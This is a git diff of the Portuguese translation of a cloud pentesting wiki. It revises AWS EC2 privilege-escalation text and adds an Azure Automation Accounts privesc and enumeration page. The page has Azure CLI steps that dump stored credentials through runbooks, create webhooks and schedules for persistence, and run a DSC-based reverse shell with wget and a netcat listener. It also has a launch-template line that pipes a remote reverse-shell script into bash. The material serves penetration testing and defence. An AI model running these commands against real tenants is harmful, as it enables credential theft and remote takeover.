diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 42681ba62..c39a9cc91 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -406,8 +406,7 @@ - [Az - ACR](pentesting-cloud/azure-security/az-services/az-acr.md) - [Az - Application Proxy](pentesting-cloud/azure-security/az-services/az-application-proxy.md) - [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md) - - [Az - Automation Account](pentesting-cloud/azure-security/az-services/az-automation-account/README.md) - - [Az - State Configuration RCE](pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md) + - [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md) - [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md) - [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md) - [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md) @@ -454,6 +453,7 @@ - [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md) - [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md) - [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md) + - [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md) - [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md) - [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md) - [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md index 1bf55e7ca..d1487b310 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md @@ -34,17 +34,17 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ --count 1 \ --user-data "file:///tmp/rev.sh" ``` -Tenha cuidado com o GuardDuty se você usar as credenciais do IAM role fora da instância: +Tenha cuidado com o GuardDuty se você usar as credenciais do papel IAM fora da instância: {{#ref}} ../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md {{#endref}} -**Impacto Potencial:** Privesc direto para qualquer role EC2 anexada a perfis de instância existentes. +**Impacto Potencial:** Privesc direto para qualquer papel EC2 anexado a perfis de instância existentes. #### Privesc para ECS -Com esse conjunto de permissões, você também poderia **criar uma instância EC2 e registrá-la dentro de um cluster ECS**. Dessa forma, os **serviços** do ECS serão **executados** dentro da **instância EC2** onde você tem acesso e então você pode penetrar nesses serviços (contêineres docker) e **roubar suas roles ECS anexadas**. +Com esse conjunto de permissões, você também poderia **criar uma instância EC2 e registrá-la dentro de um cluster ECS**. Dessa forma, os **serviços** do ECS serão **executados** dentro da **instância EC2** onde você tem acesso e então você pode penetrar nesses serviços (contêineres docker) e **roubar seus papéis ECS anexados**. ```bash aws ec2 run-instances \ --image-id ami-07fde2ae86109a2af \ @@ -80,31 +80,29 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role- # Add role to instance profile aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` -Se o **perfil da instância tiver um papel** e o atacante **não puder removê-lo**, há outra solução. Ele poderia **encontrar** um **perfil de instância sem um papel** ou **criar um novo** (`iam:CreateInstanceProfile`), **adicionar** o **papel** a esse **perfil de instância** (como discutido anteriormente) e **associar o perfil de instância** comprometido a uma instância comprometida: +Se o **perfil da instância tiver um papel** e o atacante **não puder removê-lo**, há outra solução alternativa. Ele poderia **encontrar** um **perfil de instância sem um papel** ou **criar um novo** (`iam:CreateInstanceProfile`), **adicionar** o **papel** a esse **perfil de instância** (como discutido anteriormente) e **associar o perfil de instância** comprometido a uma instância comprometida: -- Se a instância **não tiver nenhum perfil de instância** (`ec2:AssociateIamInstanceProfile`) \* +- Se a instância **não tiver nenhum perfil de instância** (`ec2:AssociateIamInstanceProfile`) ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -**Impacto Potencial:** Privesc direto para um papel EC2 diferente (você precisa ter comprometido uma instância AWS EC2 e algumas permissões extras ou um status de perfil de instância específico). +**Impacto Potencial:** Privesc direto para um papel EC2 diferente (você precisa ter comprometido uma instância AWS EC2 e algumas permissões extras ou um status específico de perfil de instância). ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) -Com essas permissões, é possível alterar o perfil de instância associado a uma instância, então se o ataque já tiver acesso a uma instância, ele poderá roubar credenciais para mais papéis de perfil de instância, mudando o que está associado a ela. +Com essas permissões, é possível mudar o perfil de instância associado a uma instância, então se o ataque já tiver acesso a uma instância, ele poderá roubar credenciais para mais papéis de perfil de instância, mudando o que está associado a ela. -- Se **tiver um perfil de instância**, você pode **remover** o perfil de instância (`ec2:DisassociateIamInstanceProfile`) e **associá-lo** \* +- Se **tiver um perfil de instância**, você pode **remover** o perfil de instância (`ec2:DisassociateIamInstanceProfile`) e **associá-lo**. ```bash aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da aws ec2 disassociate-iam-instance-profile --association-id aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -- ou **substituir** o **perfil da instância** da instância comprometida (`ec2:ReplaceIamInstanceProfileAssociation`). \* -```` +- ou **substituir** o **perfil da instância** da instância comprometida (`ec2:ReplaceIamInstanceProfileAssociation`). ```bash aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id ``` -```` -**Impacto Potencial:** Privesc direto para um papel EC2 diferente (você precisa ter comprometido uma instância AWS EC2 e algumas permissões extras ou um status de perfil de instância específico). +**Impacto Potencial:** Privesc direto para um papel EC2 diferente (você precisa ter comprometido uma instância AWS EC2 e algumas permissões extras ou um status específico de perfil de instância). ### `ec2:RequestSpotInstances`,`iam:PassRole` @@ -164,7 +162,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` -Um atacante com as permissões **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` e `ec2:ModifyLaunchTemplate`** pode criar uma **nova versão do Template de Lançamento** com um **rev shell em** os **dados do usuário** e **qualquer Função IAM do EC2 nela**, alterar a versão padrão, e **qualquer grupo de Autoscaler** **usando** esse **Template de Lançamento** que está **configurado** para usar a **versão mais recente** ou a **versão padrão** irá **reiniciar as instâncias** usando esse template e executará o rev shell. +Um atacante com as permissões **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` e `ec2:ModifyLaunchTemplate`** pode criar uma **nova versão do Template de Lançamento** com um **rev shell em** os **dados do usuário** e **qualquer Função IAM do EC2 nela**, mudar a versão padrão, e **qualquer grupo de Autoscaler** **usando** esse **Template de Lançamento** que está **configurado** para usar a **versão mais recente** ou a **versão padrão** irá **re-executar as instâncias** usando esse template e irá executar o rev shell. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash @@ -231,7 +229,7 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws ``` -Dessa forma, não é tão útil para privesc, pois você precisa saber um nome de usuário e uma senha para explorá-lo. +Dessa forma, não é tão útil para privesc, pois você precisa conhecer um nome de usuário e uma senha para explorá-lo. **Impacto Potencial:** (Altamente improvável) Privesc direto para os papéis IAM do EC2 anexados às instâncias em execução. @@ -254,7 +252,7 @@ Nos comandos acima, embora estejamos especificando certos padrões (`aws_|passwo Assumindo que encontramos `aws_access_key_id` e `aws_secret_access_key`, podemos usar essas credenciais para autenticar no AWS. -**Impacto Potencial:** Escalação de privilégio direta para usuário(s) IAM. +**Impacto Potencial:** Escalação de privilégios direta para usuário(s) IAM. ## Referências diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md new file mode 100644 index 000000000..12e56d5b3 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -0,0 +1,239 @@ +# Az - Azure Automation Accounts Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Automation Accounts + +Para mais informações, consulte: + +{{#ref}} +../az-services/az-automation-accounts.md +{{#endref}} + +### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) + +Em resumo, essas permissões permitem **criar, modificar e executar Runbooks** na Conta de Automação, que você pode usar para **executar código** no contexto da Conta de Automação e escalar privilégios para as **Identidades Gerenciadas** atribuídas e vazar **credenciais** e **variáveis** criptografadas armazenadas na Conta de Automação. + +A permissão **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** permite modificar o código de um Runbook na Conta de Automação usando: +```bash +# Update the runbook content with the provided PowerShell script +az automation runbook replace-content --no-wait \ +--resource-group Resource_Group_1 \ +--automation-account-name autoaccount1 \ +--name AzureAutomationTutorialWithIdentity \ +--content '$creds = Get-AutomationPSCredential -Name "" +$runbook_variable = Get-AutomationVariable -Name "" +$runbook_variable +$creds.GetNetworkCredential().username +$creds.GetNetworkCredential().password' +``` +Observe como o script anterior pode ser usado para **vazar o nome de usuário e a senha** de uma credencial e o valor de uma **variável criptografada** armazenada na Conta de Automação. + +A permissão **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** permite que o usuário publique um Runbook na Conta de Automação, aplicando assim as alterações: +```bash +az automation runbook publish \ +--resource-group \ +--automation-account-name \ +--name +``` +A permissão **`Microsoft.Automation/automationAccounts/jobs/write`** permite que o usuário execute um Runbook na Conta de Automação usando: +```bash +az automation runbook start --automation-account-name --resource-group --name +``` +A permissão **`Microsoft.Automation/automationAccounts/jobs/output/read`** permite que o usuário leia a saída de um trabalho na Conta de Automação usando: +```bash +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" +``` +Se não houver Runbooks criados, ou se você quiser criar um novo, você precisará das **permissões `Microsoft.Resources/subscriptions/resourcegroups/read` e `Microsoft.Automation/automationAccounts/runbooks/write`** para fazê-lo usando: +```bash +az automation runbook create --automation-account-name --resource-group --name --type PowerShell +``` +### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +Esta permissão permite que o usuário **atribua uma identidade gerenciada pelo usuário** à Conta de Automação usando: +```bash +az rest --method PATCH \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/?api-version=2020-01-13-preview" \ +--headers "Content-Type=application/json" \ +--body '{ +"identity": { +"type": "UserAssigned", +"userAssignedIdentities": { +"/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/": {} +} +} +}' +``` +### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write` + +Com a permissão **`Microsoft.Automation/automationAccounts/schedules/write`** é possível criar um novo Agendamento na Conta de Automação que é executado a cada 15 minutos (não muito discreto) usando o seguinte comando. + +Observe que o **intervalo mínimo para um agendamento é de 15 minutos**, e o **tempo de início mínimo é de 5 minutos** no futuro. +```bash +## For linux +az automation schedule create \ +--resource-group \ +--automation-account-name \ +--name \ +--description "Triggers runbook every minute" \ +--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \ +--frequency Minute \ +--interval 15 + +## Form macOS +az automation schedule create \ +--resource-group \ +--automation-account-name \ +--name \ +--description "Triggers runbook every 15 minutes" \ +--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \ +--frequency Minute \ +--interval 15 +``` +Então, com a permissão **`Microsoft.Automation/automationAccounts/jobSchedules/write`** é possível atribuir um Scheduler a um runbook usando: +```bash +az rest --method PUT \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"runOn": "", +"runbook": { +"name": "" +}, +"schedule": { +"name": ">" +}, +"parameters": {} +} +}' +``` +> [!TIP] +> No exemplo anterior, o id do jobchedule foi deixado como **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` como exemplo** mas você precisará usar um valor arbitrário para criar esta atribuição. + +### `Microsoft.Automation/automationAccounts/webhooks/write` + +Com a permissão **`Microsoft.Automation/automationAccounts/webhooks/write`** é possível criar um novo Webhook para um Runbook dentro de uma Conta de Automação usando o seguinte comando. + +Observe que você precisará **indicar a URI do webhook** com o token a ser utilizado. +```bash +az rest --method PUT \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks/?api-version=2018-06-30" \ +--body '{ +"name": "", +"properties": { +"isEnabled": true, +"expiryTime": "2026-01-09T20:03:30.291Z", +"parameters": {}, +"runOn": null, +"runbook": { +"name": "" +}, +"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" +} +}' + +# Then, to call the runbook using the webhook +curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \ +-H "Content-Length: 0" +``` +### `Microsoft.Automation/automationAccounts/runbooks/draft/write` + +Apenas com a permissão `Microsoft.Automation/automationAccounts/runbooks/draft/write` é possível **atualizar o código de um Runbook** sem publicá-lo e executá-lo usando os seguintes comandos. +```bash +# Update the runbook content with the provided PowerShell script +az automation runbook replace-content --no-wait \ +--resource-group Resource_Group_1 \ +--automation-account-name autoaccount1 \ +--name AzureAutomationTutorialWithIdentity \ +--content 'echo "Hello World"' + +# Run the unpublished code +az rest \ +--method PUT \ +--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \ +--headers "Content-Type=application/json" \ +--body '{ +"parameters": {}, +"runOn": "", +"runtimeEnvironment": "PowerShell-5.1" +}' + +# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission) +az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01" +``` +### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`) + +Esta permissão permite que o usuário **configure um controle de versão** para a Conta de Automação usando comandos como o seguinte (este usa o Github como exemplo): +```bash +az automation source-control create \ +--resource-group \ +--automation-account-name \ +--name RemoteGithub \ +--repo-url https://github.com/carlospolop/gh-runbooks.git \ +--branch main \ +--folder-path /runbooks/ \ +--publish-runbook true \ +--auto-sync \ +--source-type GitHub \ +--token-type PersonalAccessToken \ +--access-token github_pat_11AEDCVZ +``` +Isso importará automaticamente os runbooks do repositório do Github para a Automation Account e, com algumas outras permissões para começar a executá-los, seria **possível escalar privilégios**. + +Além disso, lembre-se de que, para o controle de versão funcionar nas Automation Accounts, deve ter uma identidade gerenciada com o papel **`Contributor`** e, se for uma identidade gerenciada pelo usuário, isso também pode ser configurado definindo na variável **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** o **client id** da identidade gerenciada pelo usuário a ser utilizada. + +> [!TIP] +> Note que não é possível alterar a URL do repositório de um controle de versão uma vez que ele é criado. + +### Ambientes de Execução Personalizados + +Se uma conta de automação estiver usando um ambiente de execução personalizado, pode ser possível sobrescrever um pacote personalizado do runtime com algum código malicioso (como **um backdoor**). Dessa forma, sempre que um runbook usando aquele runtime personalizado for executado e carregar o pacote personalizado, o código malicioso será executado. + +### Comprometendo a Configuração de Estado + +**Verifique o post completo em:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) + +- Passo 1 — Criar Arquivos + +**Arquivos Necessários:** Dois scripts PowerShell são necessários: +1. `reverse_shell_config.ps1`: Um arquivo de Desired State Configuration (DSC) que busca e executa o payload. Ele pode ser obtido em [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). +2. `push_reverse_shell_config.ps1`: Um script para publicar a configuração na VM, disponível em [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). + +**Personalização:** Variáveis e parâmetros nesses arquivos devem ser adaptados ao ambiente específico do usuário, incluindo nomes de recursos, caminhos de arquivos e identificadores de servidor/payload. + +- Passo 2 — Compactar o Arquivo de Configuração + +O `reverse_shell_config.ps1` é compactado em um arquivo `.zip`, tornando-o pronto para transferência para a Azure Storage Account. +```powershell +Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip +``` +- Passo 3 — Definir Contexto de Armazenamento e Fazer Upload + +O arquivo de configuração compactado é enviado para um contêiner de Armazenamento Azure predefinido, azure-pentest, usando o cmdlet Set-AzStorageBlobContent do Azure. +```powershell +Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx +``` +- Passo 4 — Preparar Kali Box + +O servidor Kali baixa o payload RevPS.ps1 de um repositório do GitHub. +```bash +wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 +``` +O script é editado para especificar a VM Windows alvo e a porta para o reverse shell. + +- Passo 5 — Publicar Arquivo de Configuração + +O arquivo de configuração é executado, resultando na implantação do script de reverse shell no local especificado na VM Windows. + +- Passo 6 — Hospedar Payload e Configurar Listener + +Um Python SimpleHTTPServer é iniciado para hospedar o payload, junto com um listener Netcat para capturar conexões recebidas. +```bash +sudo python -m SimpleHTTPServer 80 +sudo nc -nlvp 443 +``` +A tarefa agendada executa o payload, alcançando privilégios de nível SYSTEM. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md b/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md deleted file mode 100644 index a35b2feb8..000000000 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md +++ /dev/null @@ -1,170 +0,0 @@ -# Az - Automation Account - -{{#include ../../../../banners/hacktricks-training.md}} - -## Informações Básicas - -[Da documentação:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation oferece um serviço de automação baseado em nuvem, atualizações de sistema operacional e configuração que suporta gerenciamento consistente em seus ambientes Azure e não-Azure. Inclui automação de processos, gerenciamento de configuração, gerenciamento de atualizações, capacidades compartilhadas e recursos heterogêneos. - -Esses são como "**tarefas agendadas**" no Azure que permitem executar coisas (ações ou até mesmo scripts) para **gerenciar**, verificar e configurar o **ambiente Azure**. - -### Conta Run As - -Quando a **Conta Run As** é usada, ela cria um **aplicativo** Azure AD com certificado autoassinado, cria um **principal de serviço** e atribui o papel de **Contribuidor** para a conta na **assinatura atual** (muitos privilégios).\ -A Microsoft recomenda usar uma **Identidade Gerenciada** para a Conta de Automação. - -> [!WARNING] -> Isso será **removido em 30 de setembro de 2023 e alterado para Identidades Gerenciadas.** - -## Runbooks & Jobs - -**Runbooks** permitem que você **execute código PowerShell arbitrário**. Isso pode ser **abusado por um atacante** para roubar as permissões do **principal anexado** (se houver).\ -No **código** dos **Runbooks**, você também pode encontrar **informações sensíveis** (como credenciais). - -Se você puder **ler** os **jobs**, faça isso, pois eles **contêm** a **saída** da execução (potencial **informação sensível**). - -Vá para `Automation Accounts` --> `` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections` + +Um **Trabalho é uma instância da execução de um Runbook**. Quando você executa um Runbook, um Trabalho é criado para rastrear essa execução. Cada trabalho inclui: + +- **Status**: Em fila, Executando, Concluído, Falhou, Suspenso. +- **Saída**: O resultado da execução do Runbook. +- **Hora de Início e Fim**: Quando o trabalho começou e foi concluído. + +Um trabalho contém a **saída** da execução do **Runbook**. Se você puder **ler** os **trabalhos**, faça isso, pois eles **contêm** a **saída** da execução (potencial **informação sensível**). + +### Agendas & Webhooks + +Existem 3 maneiras principais de executar um Runbook: + +- **Agendas**: Estas são usadas para **disparar** Runbooks em um **horário específico** ou **intervalo**. +- **Webhooks**: Estes são **endpoints HTTP** que podem ser usados para **disparar** Runbooks de **serviços externos**. Observe que a URL do webhook **não é visível** após a criação. +- **Disparo Manual**: Você pode **disparar manualmente** um Runbook a partir do Portal do Azure e da CLI. + +### Controle de Versão + +Permite importar Runbooks do **Github, Azure Devops (Git) e Azure Devops (TFVC)**. É possível indicar que publique os Runbooks do repositório na conta de automação do Azure e também é possível indicar para **sincronizar as alterações do repositório** para a conta de automação do Azure. + +Quando a sincronização está habilitada, um **webhook é criado no repositório do Github** para disparar a sincronização sempre que um evento de push ocorre. Exemplo de uma URL de webhook: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d` + +Observe que esses webhooks **não serão visíveis** ao listar webhooks nos runbooks associados ao repositório do Github. Também observe que **não é possível alterar a URL do repositório** de um controle de versão uma vez que ele é criado. + +Para que o controle de versão configurado funcione, a **Conta de Automação do Azure** precisa ter uma identidade gerenciada (sistema ou usuário) com o papel de **`Contribuidor`**. Além disso, para atribuir uma identidade gerenciada de usuário à Conta de Automação, é possível fazer isso apenas definindo a variável **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** para o **ID do Cliente da Identidade Gerenciada do Usuário**. + +### Ambientes de Execução + +Ao criar um Runbook, é possível selecionar o ambiente de execução. Por padrão, os seguintes ambientes de execução estão disponíveis: + +- **Powershell 5.1** +- **Powershell 7.1** +- **PowerShell 7.2** +- **Python 3.10** +- **Python 3.8** +- **Python 2.7** + +No entanto, também é possível **criar seus próprios ambientes**, usando um desses como base. No caso do Python, é possível fazer upload de pacotes `.whl` para o ambiente que será utilizado. No caso do PowerShell, é possível fazer upload de pacotes `.zip` com os módulos a serem utilizados na execução. + +### Trabalhador Híbrido + +Um Runbook pode ser executado em um **container dentro do Azure** ou em um **Trabalhador Híbrido** (máquina não-Azure).\ +O **Agente de Log Analytics** é implantado na VM para registrá-la como um trabalhador híbrido.\ +Os trabalhos do trabalhador híbrido são executados como **SYSTEM** no Windows e como **nxautomation** na Linux.\ +Cada Trabalhador Híbrido é registrado em um **Grupo de Trabalhadores Híbridos**. + +Portanto, se você puder escolher executar um **Runbook** em um **Trabalhador Híbrido Windows**, você executará **comandos arbitrários** dentro de uma máquina externa como **System** (boa técnica de pivotagem). + +### Configuração de Estado (SC) + +>[!WARNING] +> Como indicado na [documentação](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), a Configuração de Estado do Azure Automation será descontinuada em 30 de setembro de 2027 e substituída pela [Configuração de Máquina do Azure](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview). + +As Contas de Automação também suportam **Configuração de Estado (SC)**, que é um recurso que ajuda a **configurar** e **manter** o **estado** das suas VMs. É possível **criar** e **aplicar** configurações DSC em máquinas **Windows** e **Linux**. + +Do ponto de vista de um atacante, isso era interessante porque permitia **executar código PS arbitrário em todas as VMs configuradas**, permitindo escalar privilégios para as identidades gerenciadas dessas VMs, potencialmente pivotando para novas redes... Além disso, as configurações poderiam conter **informações sensíveis**. + +## Enumeração +```bash +# List Automation Accounts +az automation account list --output table + +# Get Automation Account details +# Check the network access in `privateEndpointConnections` and `publicNetworkAccess` +# Check the managed identities in `identity` +az automation account show --name --resource-group + +# Get keys of automation account +## These are used for the DSC +az automation account list-keys --automation-account-name --resource-group + +# Get schedules of automation account +az automation schedule list --automation-account-name --resource-group + +# Get connections of automation account +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//connections?api-version=2023-11-01" + +# Get connection details +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//connections/?api-version=2023-11-01" + +# Get credentials of automation account +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//credentials?api-version=2023-11-01" + +# Get credential details +## Note that you will only be able to access the password from inside a Runbook +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//credentials/?api-version=2023-11-01" + +# Get certificates of automation account +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//certificates?api-version=2023-11-01" + +# Get certificate details +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//certificates/?api-version=2023-11-01" + +# Get variables of automation account +## It's possible to get the value of unencrypted variables but not the encrypted ones +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables?api-version=2023-11-01" + +# Get variable details +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables/?api-version=2023-11-01" + +# Get runbooks of an automation account +az automation runbook list --automation-account-name --resource-group + +# Get runbook details +az automation runbook show --automation-account-name --resource-group --name + +# Get runbook content +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//runbooks//content?api-version=2023-11-01" + +# Get jobs of an automation account +az automation job list --automation-account-name --resource-group + +# Get job details +az automation job show --automation-account-name --resource-group --name + +# Get job output +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" + +# Get the Runbook content when the job was executed +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//runbookContent?api-version=2023-11-01" + +# Get webhooks inside an automation account +## It's possible to see to which runbook it belongs in the given data +## For security reasons it's not possible to see the URL of the webhook after creating it, here is a URL example: https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=dOdnxk6z7ugAxiuyUMKgPuDMav2Jw5EJediMdiN4jLo%3d +## Generating a webhook can be useful from a persistence perspective +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks?api-version=2018-06-30" + +# Get the source control setting of an automation account (if any) +## inside the output it's possible to see if the autoSync is enabled, if the publishRunbook is enabled and the repo URL +aaz automation source-control list --automation-account-name --resource-group + +# Get custom runtime environments +## Check in defaultPackages for custom ones, by default Python envs won't have anything here and PS1 envs will have "az" and "azure cli" +az automation runtime-environment list \ +--resource-group > \ +--automation-account-name \ +--query "[?!(starts_with(description, 'System-generated'))]" + +# Get State Configurations (SC) of an automation account +az automation dsc configuration list --automation-account-name --resource-group + +# Get State Configuration details +az automation dsc configuration show --automation-account-name --resource-group --name + +# Get State Configuration content +az automation dsc configuration show-content --automation-account-name --resource-group --name +``` + +```powershell +# Check user right for automation +az extension add --upgrade -n automation +az automation account list # if it doesn't return anything the user is not a part of an Automation group + +# Gets Azure Automation accounts in a resource group +Get-AzAutomationAccount + +# List & get DSC configs +Get-AzAutomationAccount | Get-AzAutomationDscConfiguration +Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match ''} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug +## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting) + +# List & get Run books code +Get-AzAutomationAccount | Get-AzAutomationRunbook +Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp + +# List credentials & variables & others +Get-AzAutomationAccount | Get-AzAutomationCredential +Get-AzAutomationAccount | Get-AzAutomationVariable +Get-AzAutomationAccount | Get-AzAutomationConnection +Get-AzAutomationAccount | Get-AzAutomationCertificate +Get-AzAutomationAccount | Get-AzAutomationSchedule +Get-AzAutomationAccount | Get-AzAutomationModule +Get-AzAutomationAccount | Get-AzAutomationPython3Package +## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them + +# List hybrid workers +Get-AzAutomationHybridWorkerGroup -AutomationAccountName -ResourceGroupName +``` +## Escalação de Privilégios & Pós Exploração + +{{#ref}} +../az-privilege-escalation/az-automation-accounts-privesc.md +{{#endref}} + +## Referências + +- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview) +- 